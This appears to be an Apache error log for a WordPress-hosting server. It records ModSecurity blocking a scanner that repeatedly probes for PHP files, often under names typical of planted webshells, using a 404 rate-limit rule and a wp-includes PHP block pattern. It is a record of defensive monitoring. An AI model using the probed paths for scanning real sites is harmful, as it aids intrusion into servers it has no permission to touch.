[Fri Apr 10 13:37:35.276849 2026] [:error] [pid 13102:tid 13164] [client 138.199.57.35:34186] [client 138.199.57.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/"] [unique_id "adiMn_9xLvjW2guI55a9kAAAAAQ"]
[Fri Apr 10 17:46:00.297346 2026] [:error] [pid 13189:tid 13208] [client 74.248.114.205:4619] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Fri Apr 10 17:46:00.553498 2026] [:error] [pid 13189:tid 13200] [client 74.248.114.205:4619] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Fri Apr 10 17:46:00.809612 2026] [:error] [pid 13189:tid 13207] [client 74.248.114.205:4619] File does not exist: /usr/local/apache/htdocs/suspended-page/ga.php
[Fri Apr 10 17:46:01.064690 2026] [:error] [pid 13189:tid 13198] [client 74.248.114.205:4619] File does not exist: /usr/local/apache/htdocs/suspended-page/less.php
[Fri Apr 10 17:46:01.321395 2026] [:error] [pid 13189:tid 13195] [client 74.248.114.205:4619] File does not exist: /usr/local/apache/htdocs/suspended-page/x3x.php
[Fri Apr 10 17:46:01.577562 2026] [:error] [pid 13189:tid 13192] [client 74.248.114.205:4619] [client 74.248.114.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Ipv6.php"] [unique_id "adjG2ZAxiJKPums3eBBW4wAAAEA"]
[Fri Apr 10 17:46:02.095145 2026] [:error] [pid 13100:tid 13112] [client 74.248.114.205:41658] File does not exist: /usr/local/apache/htdocs/suspended-page/state.php
[Fri Apr 10 17:46:02.352571 2026] [:error] [pid 13100:tid 13107] [client 74.248.114.205:41658] File does not exist: /usr/local/apache/htdocs/suspended-page/xozx.php
[Fri Apr 10 17:46:02.610625 2026] [:error] [pid 13100:tid 13109] [client 74.248.114.205:41658] File does not exist: /usr/local/apache/htdocs/suspended-page/1100.php
[Fri Apr 10 17:46:02.867703 2026] [:error] [pid 13100:tid 13128] [client 74.248.114.205:41658] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Fri Apr 10 17:46:03.127544 2026] [:error] [pid 13100:tid 13119] [client 74.248.114.205:41658] File does not exist: /usr/local/apache/htdocs/suspended-page/97.php
[Fri Apr 10 17:46:03.381874 2026] [:error] [pid 13100:tid 13106] [client 74.248.114.205:41658] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "adjG21zg-ZkZ0InWIP162wAAAQE"]
[Fri Apr 10 17:46:03.895370 2026] [:error] [pid 13100:tid 13121] [client 74.248.114.205:29981] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "adjG21zg-ZkZ0InWIP163QAAARA"]
[Fri Apr 10 17:46:04.421093 2026] [:error] [pid 13189:tid 13196] [client 74.248.114.205:34715] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "adjG3JAxiJKPums3eBBW6wAAAEQ"]
[Fri Apr 10 17:46:04.932201 2026] [:error] [pid 13102:tid 13181] [client 74.248.114.205:38549] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "adjG3P9xLvjW2guI55ZGvgAAABU"]
[Fri Apr 10 17:46:05.440177 2026] [:error] [pid 13102:tid 13167] [client 74.248.114.205:37183] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "adjG3f9xLvjW2guI55ZGwAAAAAc"]
[Fri Apr 10 17:46:05.973996 2026] [:error] [pid 13102:tid 13172] [client 74.248.114.205:60650] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "adjG3f9xLvjW2guI55ZGwgAAAAw"]
[Fri Apr 10 17:46:06.488866 2026] [:error] [pid 13101:tid 13148] [client 74.248.114.205:37173] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "adjG3t8Ldw85818pj2qLRgAAAI8"]
[Fri Apr 10 17:46:06.994806 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:36383] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "adjG3pAxiJKPums3eBBW7gAAAFg"]
[Fri Apr 10 17:46:07.521002 2026] [:error] [pid 3934:tid 3943] [client 74.248.114.205:40250] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lv.php"] [unique_id "adjG34a41m-BS8mg82drwAAAAMQ"]
[Fri Apr 10 17:46:08.040356 2026] [:error] [pid 13102:tid 13166] [client 74.248.114.205:4623] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lv.php"] [unique_id "adjG4P9xLvjW2guI55ZGxAAAAAY"]
[Fri Apr 10 17:46:08.550385 2026] [:error] [pid 13100:tid 13123] [client 74.248.114.205:38480] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lv.php"] [unique_id "adjG4Fzg-ZkZ0InWIP164QAAARI"]
[Fri Apr 10 17:46:09.072060 2026] [:error] [pid 13101:tid 13152] [client 74.248.114.205:44223] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lv.php"] [unique_id "adjG4d8Ldw85818pj2qLTQAAAJM"]
[Fri Apr 10 17:46:09.583530 2026] [:error] [pid 13101:tid 13153] [client 74.248.114.205:60671] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "adjG4d8Ldw85818pj2qLTwAAAJQ"]
[Fri Apr 10 17:46:10.100460 2026] [:error] [pid 13100:tid 13112] [client 74.248.114.205:48721] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "adjG4lzg-ZkZ0InWIP165gAAAQc"]
[Fri Apr 10 17:46:10.615508 2026] [:error] [pid 13102:tid 13177] [client 74.248.114.205:43053] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "adjG4v9xLvjW2guI55ZGzAAAABE"]
[Fri Apr 10 17:46:11.133976 2026] [:error] [pid 13189:tid 13207] [client 74.248.114.205:60663] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "adjG45AxiJKPums3eBBW-QAAAE8"]
[Fri Apr 10 17:46:11.667331 2026] [:error] [pid 13102:tid 13160] [client 74.248.114.205:34725] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adjG4_9xLvjW2guI55ZG0AAAAAA"]
[Fri Apr 10 17:46:12.197569 2026] [:error] [pid 13189:tid 13202] [client 74.248.114.205:60629] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adjG5JAxiJKPums3eBBW_QAAAEo"]
[Fri Apr 10 17:46:12.720842 2026] [:error] [pid 3934:tid 3949] [client 74.248.114.205:43021] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adjG5Ia41m-BS8mg82dryAAAAMo"]
[Fri Apr 10 17:46:13.258514 2026] [:error] [pid 13189:tid 13197] [client 74.248.114.205:60651] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "adjG5ZAxiJKPums3eBBXAwAAAEU"]
[Fri Apr 10 17:46:13.781166 2026] [:error] [pid 13101:tid 13135] [client 74.248.114.205:31227] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "adjG5d8Ldw85818pj2qLWQAAAII"]
[Fri Apr 10 17:46:14.292731 2026] [:error] [pid 13101:tid 13156] [client 74.248.114.205:44189] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "adjG5t8Ldw85818pj2qLXQAAAJc"]
[Fri Apr 10 17:46:14.800516 2026] [:error] [pid 3934:tid 3951] [client 74.248.114.205:23866] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "adjG5oa41m-BS8mg82drzwAAAMw"]
[Fri Apr 10 17:46:15.310077 2026] [:error] [pid 13102:tid 13178] [client 74.248.114.205:29995] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "adjG5_9xLvjW2guI55ZG3QAAABI"]
[Fri Apr 10 17:46:15.825891 2026] [:error] [pid 13100:tid 13115] [client 74.248.114.205:38552] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adjG51zg-ZkZ0InWIP167QAAAQo"]
[Fri Apr 10 17:46:16.332993 2026] [:error] [pid 13102:tid 13170] [client 74.248.114.205:4112] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adjG6P9xLvjW2guI55ZG5AAAAAo"]
[Fri Apr 10 17:46:16.840988 2026] [:error] [pid 13101:tid 13140] [client 74.248.114.205:40237] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adjG6N8Ldw85818pj2qLZAAAAIc"]
[Fri Apr 10 17:46:17.349808 2026] [:error] [pid 13189:tid 13200] [client 74.248.114.205:44192] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "adjG6ZAxiJKPums3eBBXFAAAAEg"]
[Fri Apr 10 17:46:17.890525 2026] [:error] [pid 13100:tid 13107] [client 74.248.114.205:4106] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adjG6Vzg-ZkZ0InWIP167wAAAQI"]
[Fri Apr 10 17:46:18.399743 2026] [:error] [pid 13102:tid 13170] [client 74.248.114.205:44160] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adjG6v9xLvjW2guI55ZG7gAAAAo"]
[Fri Apr 10 17:46:18.914232 2026] [:error] [pid 13100:tid 13124] [client 74.248.114.205:4130] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adjG6lzg-ZkZ0InWIP169gAAARM"]
[Fri Apr 10 17:46:19.436384 2026] [:error] [pid 13102:tid 13171] [client 74.248.114.205:44163] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "adjG6_9xLvjW2guI55ZG8wAAAAs"]
[Fri Apr 10 17:46:19.951146 2026] [:error] [pid 13102:tid 13164] [client 74.248.114.205:31228] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wswer1.php"] [unique_id "adjG6_9xLvjW2guI55ZG9QAAAAQ"]
[Fri Apr 10 17:46:20.457449 2026] [:error] [pid 13100:tid 13127] [client 74.248.114.205:43065] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wswer1.php"] [unique_id "adjG7Fzg-ZkZ0InWIP16-gAAARY"]
[Fri Apr 10 17:46:20.974476 2026] [:error] [pid 13100:tid 13117] [client 74.248.114.205:36390] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wswer1.php"] [unique_id "adjG7Fzg-ZkZ0InWIP17AQAAAQw"]
[Fri Apr 10 17:46:21.483274 2026] [:error] [pid 13101:tid 13148] [client 74.248.114.205:43036] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wswer1.php"] [unique_id "adjG7d8Ldw85818pj2qLdAAAAI8"]
[Fri Apr 10 17:46:21.990270 2026] [:error] [pid 13100:tid 13111] [client 74.248.114.205:38468] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "adjG7Vzg-ZkZ0InWIP17CQAAAQY"]
[Fri Apr 10 17:46:22.509513 2026] [:error] [pid 13102:tid 13174] [client 74.248.114.205:44190] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "adjG7v9xLvjW2guI55ZG9wAAAA4"]
[Fri Apr 10 17:46:23.027805 2026] [:error] [pid 13102:tid 13166] [client 74.248.114.205:28070] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "adjG7_9xLvjW2guI55ZG-QAAAAY"]
[Fri Apr 10 17:46:23.534332 2026] [:error] [pid 13189:tid 13203] [client 74.248.114.205:44208] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "adjG75AxiJKPums3eBBXFwAAAEs"]
[Fri Apr 10 17:46:24.048948 2026] [:error] [pid 3934:tid 3955] [client 74.248.114.205:60645] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "adjG8Ia41m-BS8mg82dr6AAAANA"]
[Fri Apr 10 17:46:24.553989 2026] [:error] [pid 3934:tid 3942] [client 74.248.114.205:23832] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "adjG8Ia41m-BS8mg82dr7QAAAMM"]
[Fri Apr 10 17:46:25.063130 2026] [:error] [pid 3934:tid 3953] [client 74.248.114.205:60626] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "adjG8Ya41m-BS8mg82dr8AAAAM4"]
[Fri Apr 10 17:46:25.579781 2026] [:error] [pid 13100:tid 13128] [client 74.248.114.205:38540] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "adjG8Vzg-ZkZ0InWIP17EgAAARc"]
[Fri Apr 10 17:46:26.093043 2026] [:error] [pid 13100:tid 13123] [client 74.248.114.205:23841] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "adjG8lzg-ZkZ0InWIP17EwAAARI"]
[Fri Apr 10 17:46:26.606512 2026] [:error] [pid 13100:tid 13117] [client 74.248.114.205:4665] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "adjG8lzg-ZkZ0InWIP17FwAAAQw"]
[Fri Apr 10 17:46:27.117084 2026] [:error] [pid 13100:tid 13106] [client 74.248.114.205:43016] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "adjG81zg-ZkZ0InWIP17GgAAAQE"]
[Fri Apr 10 17:46:27.631508 2026] [:error] [pid 13101:tid 13133] [client 74.248.114.205:28069] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "adjG898Ldw85818pj2qLiAAAAIA"]
[Fri Apr 10 17:46:28.144288 2026] [:error] [pid 13189:tid 13194] [client 74.248.114.205:23485] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adjG9JAxiJKPums3eBBXHQAAAEI"]
[Fri Apr 10 17:46:28.665939 2026] [:error] [pid 13189:tid 13203] [client 74.248.114.205:44582] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adjG9JAxiJKPums3eBBXIAAAAEs"]
[Fri Apr 10 17:46:29.188143 2026] [:error] [pid 13189:tid 13196] [client 74.248.114.205:23817] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "adjG9ZAxiJKPums3eBBXJAAAAEQ"]
